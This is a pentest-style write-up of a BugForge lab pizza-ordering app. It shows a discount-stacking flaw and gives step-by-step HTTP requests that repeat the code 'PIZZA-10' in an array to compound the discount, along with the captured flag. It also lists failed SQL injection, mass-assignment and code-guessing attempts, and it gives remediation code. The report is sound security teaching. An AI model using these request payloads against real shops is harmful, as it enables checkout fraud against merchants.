Cheesy Does It: Discount Code Stacking via Array Type Confusion
Part 1: Pentest Report
Executive Summary
“Cheesy Does It” is a pizza ordering web app on the BugForge platform. React SPA on top of a Node.js + Express backend with JWT (HS256) authentication and a SQL-flavoured datastore (SQLite/MySQL-style timestamps). Customers register, browse a menu or build a custom pizza, check out with a card, and track an order. A PIZZA-10 discount code is advertised publicly on the landing page for 10% off any order.
Testing confirmed one finding:
| ID | Title | Severity | CVSS | CWE | Endpoint |
|---|---|---|---|---|---|
| F1 | Discount code stacking via array input type confusion | Medium | 5.3 | CWE-840, CWE-20 | POST /api/orders |
The discount field in POST /api/orders is documented and used by the client as a single string. The server, however, accepts a JSON array on the same field and iterates over each element, applying every valid code multiplicatively to the order total, with no de-duplication, no stacking guard, and no upper bound on the number of codes. Sending discount: ["PIZZA-10", "PIZZA-10"] compounds the 10% discount twice (effective 19% off), three copies compound it three times (effective 27.1% off), and so on. The lab signals successful abuse by adding a flag field to the create order response when the array contains two or more valid codes; in a real deployment this would be silent compounded discounts with no alert.
Flag captured: bug{mNYwFSosV1PErWlkP5aGNjaUZMv9Lol6}.
Objective
Recover the lab flag by exercising a discoverable application layer vulnerability on the BugForge “Cheesy Does It” lab.
Scope / Initial Access
# Target Application
URL: https://lab-1776730244511-ufaznc.labs-app.bugforge.io
# Auth
POST /api/register → {username, email, password, full_name, phone, address} → JWT HS256
POST /api/login → {username, password} → JWT HS256
payload: {"id":N, "username":"...", "iat":...} (no role claim)
Authorization: Bearer <jwt> on protected endpoints
# Test account
haxor (id=4, role=user), created via standard self-registration
Self-registration is open. Registration and login both return the same shape: {token, user:{id, username, email, full_name, phone, address}}. The role is not embedded in the JWT. GET /api/verify-token returns the role field on demand, and the server re-reads role from the database on every authenticated request.
Reconnaissance: Mapping User Controlled Inputs
The app is a small, well scoped React SPA with a clearly enumerable API surface. Walking through the user flow once in Caido produced the full endpoint inventory.
Endpoints with user input (Phase 3 attack surface candidates):
| Endpoint | Method | Inputs |
|---|---|---|
| /api/register | POST | username, email, password, full_name, phone, address |
| /api/login | POST | username, password |
| /api/profile | PUT | full_name, email, phone, address |
| /api/payment/validate | POST | card_number, exp_month, exp_year, cvv |
| /api/payment/process | POST | card_number, amount |
| /api/orders | POST | items[], delivery_address, phone, payment_method, notes, discount |
| /api/orders/:id | GET | numeric path parameter |
Three signals stood out:
POST /api/ordersaccepts adiscountfield that the client only ever sends as a single string from a text input. The advertisedPIZZA-10is the only known valid value. The server stores the resulting code asdiscount_codeon the order record (the field is renamed between the request body and the persisted column).POST /api/payment/processtrusts a client suppliedamountandPOST /api/orderstrusts client calculatedtotal_priceper item. Classic price tampering candidates.- No CSRF tokens, wildcard CORS (
Access-Control-Allow-Origin: *), and JWT HS256 with an unknown secret. No immediate handles, noted for completeness.
Of those, the discount field was the most economical to probe: single string field, well known valid value, ordering flow inexpensive to repeat.
Application Architecture
| Component | Detail |
|---|---|
| Frontend | React SPA (MUI components), bundled at /static/js/main.0f3e20de.js |
| Backend | Node.js + Express (X-Powered-By: Express) |
| Auth | JWT HS256, Authorization: Bearer ...; payload {id, username, iat} (no role claim) |
| Datastore | SQL-flavoured (response timestamps 2026-04-21 00:11:42 indicate SQLite/MySQL style) |
| Pricing | Client calculated unit/total prices sent in cart items; server trusts them |
| Order lifecycle | Status auto advances server-side every 120s (received → preparing → baking → quality_check → out_for_delivery → delivered) |
Discount handling (from observed behavior)
The client always sends discount as a string. The server stored column is named discount_code and only ever holds a single string value. A successful discount applies a 10% reduction (unit_price 12.99 → total_price 11.69).
Attack Chain Visualization
┌─────────────────┐ ┌──────────────────────┐ ┌──────────────────────┐ ┌──────────────────────────┐
│ Register │──▶│ Baseline string │──▶│ Probe array shape │──▶│ Stack same code twice │
│ POST │ │ POST /api/orders │ │ POST /api/orders │ │ POST /api/orders │
│ /api/register │ │ discount: │ │ discount: │ │ discount: ["PIZZA-10", │
│ → user JWT │ │ "PIZZA-10" │ │ ["PIZZA-10"] │ │ "PIZZA-10"] │
│ │ │ → total 11.69 │ │ → total 11.69 │ │ → total 10.52 │
│ │ │ → no flag │ │ → no flag │ │ → flag in response │
└─────────────────┘ └──────────────────────┘ └──────────────────────┘ └──────────────────────────┘
│
▼
┌──────────────────────────────────────────────────────────┐
│ bug{mNYwFSosV1PErWlkP5aGNjaUZMv9Lol6} │
└──────────────────────────────────────────────────────────┘
Findings
F1: Discount code stacking via array input type confusion
Severity: Medium
CVSS v3.1: 5.3 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N)
CWE: CWE-840 (Business Logic Errors), CWE-20 (Improper Input Validation)
Endpoint: POST /api/orders
Authentication required: Yes, any registered user JWT
Description
The discount field on order creation is documented and emitted by the client as a single string. The server accepts a JSON array on the same field and processes every element through the same valid code lookup, applying each match multiplicatively to the order total. There is no de-duplication, no stacking guard, no upper bound on element count, and no type assertion at the boundary.
Behavior observed across input variations on the same baseline order (one Medium Pepperoni Classic, unit_price = 12.99):
| # | discount payload |
total_price stored |
Math | flag in response? |
|---|---|---|---|---|
| 1 | "PIZZA-10" |
11.69 | 12.99 × 0.9 | no |
| 2 | ["PIZZA-10"] |
11.69 | 12.99 × 0.9 | no |
| 3 | ["PIZZA-10","PIZZA-10"] |
10.52 | 12.99 × 0.9² | yes |
| 4 | ["PIZZA-10","PIZZA-10","PIZZA-10"] |
9.47 | 12.99 × 0.9³ | yes |
| 5 | ["PIZZA-10","BOGUS"] |
11.69 | 12.99 × 0.9 (only valid code applied) | no |
| 6 | {"code":"PIZZA-10"} |
12.99 | object shape ignored | no |
Three things worth pinning down from the table:
- Single element array is treated identically to the string (row 1 vs row 2), with the same total, no flag. The server accepts the array shape unconditionally.
- Compounding is multiplicative, not additive (rows 3 and 4). Each valid element multiplies the running total by
0.9. With enough elements, the total approaches zero. - The stored
discount_codecolumn records only one code regardless of array length. The order history view shows"discount_code": "PIZZA-10"whether one code was applied or three. The abuse is invisible to anyone reviewing orders after the fact.
The flag response key is the lab’s abuse marker. It appears only when the array contains two or more elements that each resolve to a valid discount row. Mixed valid/invalid arrays (row 5) and single valid codes do not trigger it. Object wrapped input (row 6) is silently dropped, and the discount lookup falls through to no discount, no error returned.
Impact
Could negatively affect the business bottom line via compounded checkout discounts.
Reproduction
Step 1: Register and capture a user JWT
POST /api/register HTTP/1.1
Host: lab-1776730244511-ufaznc.labs-app.bugforge.io
Content-Type: application/json
{"username":"haxor","email":"h@x","password":"p","full_name":"H","phone":"0","address":"x"}
Response: 200 OK, body includes a JWT. Save as USER_JWT.
Step 2: Place a baseline order with the discount as a string
POST /api/orders HTTP/1.1
Host: lab-1776730244511-ufaznc.labs-app.bugforge.io
Authorization: Bearer <USER_JWT>
Content-Type: application/json
{
"items":[{"id":1,"pizza_name":"Pepperoni Classic","base_name":"Hand Tossed",
"sauce_name":"Classic Tomato","size":"Medium",
"toppings":["Pepperoni","Extra Mozzarella"],
"quantity":1,"unit_price":12.99,"total_price":12.99}],
"delivery_address":"test","phone":"test","payment_method":"card","notes":"",
"discount":"PIZZA-10"
}
Response: 200 OK. Order created, total_price = 11.69. No flag in the response body.
Step 3: Replay with the discount wrapped as a single element array
Same request as step 2, but change the discount value to ["PIZZA-10"]. Response: total_price = 11.69, no flag. Confirms the server accepts the array shape with identical behavior to the string for a single element, which sets up step 4 as the pure type confusion test.
Step 4: Replay with the discount as a two element array of the same code
POST /api/orders HTTP/1.1
Host: lab-1776730244511-ufaznc.labs-app.bugforge.io
Authorization: Bearer <USER_JWT>
Content-Type: application/json
{
"items":[{"id":1,"pizza_name":"Pepperoni Classic","base_name":"Hand Tossed",
"sauce_name":"Classic Tomato","size":"Medium",
"toppings":["Pepperoni","Extra Mozzarella"],
"quantity":1,"unit_price":12.99,"total_price":12.99}],
"delivery_address":"test","phone":"test","payment_method":"card","notes":"",
"discount":["PIZZA-10","PIZZA-10"]
}
Response (200 OK):
{
"id":44,
"order_number":"CDI-1776733375668-HPER30FIK",
"message":"Order created successfully",
"status":"received",
"flag":"bug{mNYwFSosV1PErWlkP5aGNjaUZMv9Lol6}"
}
The 10% discount has been applied twice (total_price = 10.52), and the flag field appears in the create order response.
Remediation
Fix 1: Enforce a string at the request boundary
// BEFORE (Vulnerable: discount field type is not asserted)
const { items, delivery_address, phone, payment_method, notes, discount } = req.body;
// ... later, the discount handler iterates if Array.isArray(discount)
// AFTER (Secure: reject any non-string discount input)
const { items, delivery_address, phone, payment_method, notes, discount } = req.body;
if (discount !== undefined && typeof discount !== 'string') {
return res.status(400).json({ error: 'discount must be a single string' });
}
Fix 2: If multi-code is intentional, de-duplicate and cap
// AFTER (Secure: explicit multi-code support)
let codes = [];
if (typeof discount === 'string') {
codes = [discount];
} else if (Array.isArray(discount)) {
codes = [...new Set(discount.filter(c => typeof c === 'string'))];
if (codes.length > MAX_CODES_PER_ORDER) {
return res.status(400).json({ error: 'too many discount codes' });
}
}
// Apply each code at most once, and consider whether stacking makes business sense.
// Many real systems apply only the single best discount per order.
Fix 3: Recompute totals from server trusted item prices
The same handler also trusts client supplied total_price per item and a client supplied amount on POST /api/payment/process (latent issues, not exploited in this engagement). Rebuild the cart total from server-side menu prices before applying any discount, and reject the request if the client supplied total disagrees beyond a small tolerance.
Additional recommendations:
- Add output integrity check on the order creation path: log any order whose computed total deviates from the sum of menu priced items by more than the maximum allowed single discount percentage. This would have caught the abuse silently in production.
- The
discount_codecolumn persists only the last applied code regardless of array length. Either store the full applied codes list (audit trail) or refuse multi-code orders entirely. Persisting one code while applying many is the worst of both worlds; the abuse is invisible after the fact. - Apply the same type assertion boundary check to every other JSON field across the API. The
items[].total_price,items[].unit_price, andpayment.amountfields are all silently trusted today.
OWASP Top 10 Coverage
- A04:2021 Insecure Design: The discount handler’s behavior diverges by input type with no documented contract. String and array inputs follow different code paths with different observable effects. Type driven branching on user input without a boundary check is a design defect, not a coding mistake.
- A05:2021 Security Misconfiguration: No type assertion at the request boundary. The handler accepts any JSON decodable shape on the
discountfield and trusts the downstream code to handle it. - A08:2021 Software and Data Integrity Failures: Client trusted
total_priceper item, client trustedamounton payment, and a discount handler with no stacking guard combine to make the order total a fully attacker controlled value.
Tools Used
| Tool | Purpose |
|---|---|
| Caido | Primary request capture, replay, and tamper |
| Browser DevTools | Inspecting React SPA bundle and localStorage JWT/cart contents |
References
- CWE-840: Business Logic Errors
- CWE-20: Improper Input Validation
- OWASP Top 10 A04:2021 Insecure Design
- OWASP Top 10 A08:2021 Software and Data Integrity Failures
- OWASP API Security Top 10 API6:2023 Unrestricted Access to Sensitive Business Flows
Part 2: Notes / Knowledge
Key Learnings
- Test type confusion earlier in my process. I’d been treating array-wrap of a scalar field as a “circle back if nothing else works” probe. On this engagement it was the entire exploit:
discount: "PIZZA-10"wrapped as["PIZZA-10","PIZZA-10"]compounded the discount and dropped the flag. Worth promoting from a late-stage curiosity to a first-sweep probe on any JSON field the client only ever sends as a scalar.
Failed Approaches
| Approach | Result | Why It Failed |
|---|---|---|
Mass-assignment role: "admin" on POST /api/register and PUT /api/profile |
JWT and verify-token both still report role: "user" |
Both endpoints destructure a fixed field whitelist from req.body; role is not in the whitelist on either path. |
Cheap variants on the same path: isAdmin, is_admin, roles: ["admin"], nested object |
No effect | Same field-whitelist boundary blocks all variants. The server never sees these fields. |
Direct GET /api/admin/stats, /api/admin/users, /api/admin/orders with user JWT |
403 Forbidden, "Admin access required" |
Server-side ACL on role === "admin" is enforced (the JWT has no role claim, so the server re-reads role from the database per request). Client-side gate is backed by server-side enforcement here. |
SQLi on /api/orders/:id numeric path parameter |
Parameterized: no error, no boolean differentiation | Path parameter is treated as a parameterized integer. |
SQLi on POST /api/login username field |
Parameterized: no error, no auth bypass | Standard parameterized lookup. |
SQLi on discount field (string and array forms with ', ' OR '1'='1, UNION) |
All returned the no discount price (12.99) | Discount handler treats the value as a code lookup with parameterized SELECT and falls through to no discount on a miss. The injection paths never reach a query as raw SQL. |
Wordlist guessing for additional codes (PIZZA-20, PIZZA-50, ADMIN, TEST, etc.) |
All returned no discount price | Only PIZZA-10 is a valid code in the discounts table. Naming convention does not iterate. |
Tags: #business-logic #type-confusion #mass-assignment-blocked #bugforge #webapp
Document Version: 1.0
Last Updated: 2026-04-21